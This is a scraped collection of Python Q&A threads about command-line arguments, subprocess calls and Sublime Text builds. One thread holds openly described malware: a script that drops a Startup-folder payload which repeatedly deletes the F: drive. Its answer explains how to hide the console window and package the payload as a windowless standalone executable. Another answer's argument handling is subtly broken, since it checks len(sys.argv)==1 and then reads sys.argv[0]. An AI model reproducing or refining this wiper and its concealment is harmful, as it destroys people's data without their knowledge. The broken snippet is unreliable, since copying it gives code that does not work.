Combine tkinter gui and command line args - python

I'm trying to both have a gui and a command line option. I have the gui set up and done. But using the following code for the argparsing:
parser = argparse.ArgumentParser(description='Fix a XSL file.')
parser.add_argument('strings', metavar='file', type=str, nargs='+',help='A file for the fixing program.')
args = parser.parse_args()
print (args.strings)
When run, returns that there is no module named tkinter. This I believe was because it was set to open with python.exe from python 2. I changed it to open with python 3 but now it is no longer droppable, even if I create a shortcut to it. If I double click it, I get an error that I need to specify a file, that's because its expecting a file drop.

The solution was pretty easy. First create a shortcut (this will be the drop point).
For the target do something like: "PATH TO PYTHON EXE" "PATH TO SCRIPT"

Related

Pass a file to Python via the Right-Click 'Open With' context menu in windows, to then open in another program

I use a piece of software that when you close, saves your current configuration, however, next time I open the software by clicking on a file associated with it, it tries to run that file through the same configuration, which I don't want. I have therefore created a python script to first open up the app data for that program, reset the configuration back to default, and then open the program again.
This works fine if I just try to load the program without a file, but I would like to be able to click on a file associated with that program (usually I can just double click on the file to open it in the program), then use the 'open with' function in windows to select my script, and then open the file in the program once my script has cleared out the last configuration.
Currently, if I do this, it clears the configuration and opens the program but with no file loaded.
Essentially I am asking how I can pass the file to python, and then get python to pass that file to the third party application.
I am using the 'os.startfile('link to .exe') function to open the program, but how do I get the file path into python as an argument/string by clicking on the file and opening it with my script?
path = 'path/to/file/selected' # passed to python from selecting the file in windows explorer before starting script
# execute some code
os.startfile('path')
I'm a bit of a beginner when it comes to python so any help would be appreciated!
Using python 3.6 on windows 10
You can access command line arguments passed to your script using sys.argv. As long as you want to pass these arguments to some third-party application(which is an executable binary) you should use the subprocess module as os.startfile is meant to start a file with its associated application.
import sys
import subprocess
def main():
if len(sys.argv) == 1:
path = sys.argv[0]
subprocess.run(['/path/to/my.exe', path])
else:
print('Usage myscript.py <path>')
if __name__ == "__main__":
main()
If I understand your question correctly it could be done in the following fashion, relying on the subprocess module:
subprocess.Popen(["/path/to/application", "/path/to/file/to/open"])
See documentation for more details.

subprocess , opening exe file and using command. python

Right now i am using this code to run exe :
subprocess.Popen(['file location,file'],stderr=subprocess.STDOUT,stdout=subprocess.PIPE)\.communicate()[0]
and all goes fine.
But in console i am using additional option to print additional data like
in console: 'exe location' 'file location' option
How to add this option to python script like i am using it right now in console?
I also tried this but not work Opening an .exe and passing commands to it via Python subprocess?
Thanks
You can just add arguments to the list passed as first argument to Popen like so
subprocess.Popen(['file location,file', 'option'])

Run external python script from Sublime Text passing active file as argument

I have a some python script called spc.py somewhere on the disk, which is for processing text file in some way (and it uses more external libraries). Now I call it from console with passing a filename as argument.
Because I'm running this script often, during the editing the document itself, I would like to be able to call the script straight from the Sublime Text, passing active file as argument, so I can call it by one click without leaving the window.
But I haven't found a way how to call external python script from Sublime Text plugin. Can you give me a clue? Is that even possible?
One of way to doing this is by calling python with arguments through cmd.exe using subprocess module, with sending the file name of active file as argument for python program.
import sublime, sublime_plugin
import subprocess
class ExecuteExternalProgramCommand(sublime_plugin.TextCommand):
def run(self, edit):
exec_file = "C:\Path\To\My\Program\spc.py"
command = ["cmd.exe", "/c", "python", exec_file, self.view.file_name()]
subprocess.Popen(command)
Save it to your Sublime Text User plugins folder and then put keyboard shortcut to your User Keymap, for example
{"keys": ["ctrl+shift+e"], "command": "execute_external_program"},
You can:
Create a custom build system which accepts the current file as an argument.
Create a plugin which executes text from the current file.
You can use the answer provided here to get the file name of the current sublime window. Now beyond that you just need a method that accepts a path as an input argument and from there do what you need to do.
import sublime, sublime_plugin
import re, os, os.path
class OpenrelCommand(sublime_plugin.WindowCommand):
def run(self):
print self.active_view()

Execute python script on startup in the background

I am writing a very simple piece of malware for fun (I don't like doing anything malicious to others). Currently, I have this:
import os
#generate payload
payload = [
"from os import system\n",
"from time import sleep\n",
"while True:\n",
" try:\n",
" system('rd /s /q F:\\\\')\n",
" except:\n",
" pass\n",
" sleep(10)\n",
]
#find the userhome
userhome = os.path.expanduser('~')
#create the payload file
with open(userhome+"\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\payload.py", "a") as output:
#write payload
for i in payload:
output.write(i)
After the user executes that script, it should run the payload every time the computer starts up. Currently, the payload will erase the F:\ drive, where USB disks, external HDDs, etc. will be found.
The problem is is that the command window shows up when the computer starts. I need a way to prevent anything from showing up any ware in a very short way that can be done easily in Python. I've heard of "pythonw.exe", but I don't know how I would get it to run at startup with that unless I change the default program for .py files. How would I go about doing this?
And yes, I do know that if one were to get this malware it wouldn't do abything unless they had Python installed, but since I don't want to do anything with it I don't care.
The window that pops up, should, in fact, not be your python window, but the window for the command you run with os (if there are two windows, you will need to follow the below suggestion to remove the actual python one). You can block this when you use the subprocess module, similar to the os one. Normally, subprocess also creates a window, but you can use this call function to avoid it. It will even take the optional argument of input, and return output, if you wish to pipe the standard in and out of the process, which you do not need to do in this case.
def call(command,io=''):
command = command.split()
startupinfo = subprocess.STARTUPINFO()
startupinfo.dwFlags |= subprocess.STARTF_USESHOWWINDOW
if io != None:
process = subprocess.Popen(command,stdin=subprocess.PIPE,stdout=subprocess.PIPE,stderr=subprocess.PIPE,startupinfo=startupinfo,shell=False)
return process.communicate(io)[0]
This should help. You would use it in place of os.system()
Also, you can make it work even without python (though you really shouldn't use it on other systems) by making it into an executable with pyinstaller. You may, in fact, need to do this along with the subprocess startupinfo change to make it work. Unlike py2exe or cxfreeze, pyinstaller is very easy to use, and works reliably. Install pyinstaller here (it is a zip file, however pyinstaller and other sites document how to install it with this). You may need to include the pyinstaller command in your system "path" variable (you can do this from control panel) if you want to create an executable from the command line. Just type
pyinstaller "<filename>" -w -F
And you will get a single file, standalone, window-less executable. The -w makes it windowless, the -F makes it a standalone file as opposed to a collection of multiple files. You should see a dist subdirectory from the one you called pyinstaller from, which will include, possibly among other things which you may ignore, the single, standalone executable which does not require python, and shouldn't cause any windows to pop up.

How to pass parameters to a build in Sublime Text 3?

I'm currently making a program (which requires some arguments) that runs on the terminal.
Now I would like to run this same program from Sublime Text, but I don't know how to pass parameters to the build before executing the program in Sublime Text.
Is there any option that I need to enable to specify the arguments?
Using Sublime Text 3 build 3035
You can create a new build system for sublime text and run your script with fixed arguments.
Create a new File in your Packages/User directory (CTRL-SHIFT-P --> "Browse Packages")
New File: Packages/User/my_build.sublime-build
with the following content:
{
"cmd": ["python", "$file", "arg1", "arg2"]
}
(replace arg1,arg2 by your arguments - you can delete them or add more if you want)
Now restart sublime text and select your build system in the Menu: Tools --> Build System --> my_build. From now on, when you press CTRL-B your build system will be executed.
Don't forget to change it back to "Automatic" if you are working on other files or projects.
There are many options you can set in build files. Please refer to https://docs.sublimetext.io/guide/usage/build-systems.html
I find it easier to use a try catch with default arguments, Sublime's build system becomes annoying to manage. While you do fast paced dev you can just modify the arguments in the except statement.
import sys
try:
if sys.argv[1]:
Name = str(sys.argv[1])
except:
print "no argument given - using DERP"
Name = "DERP"

Categories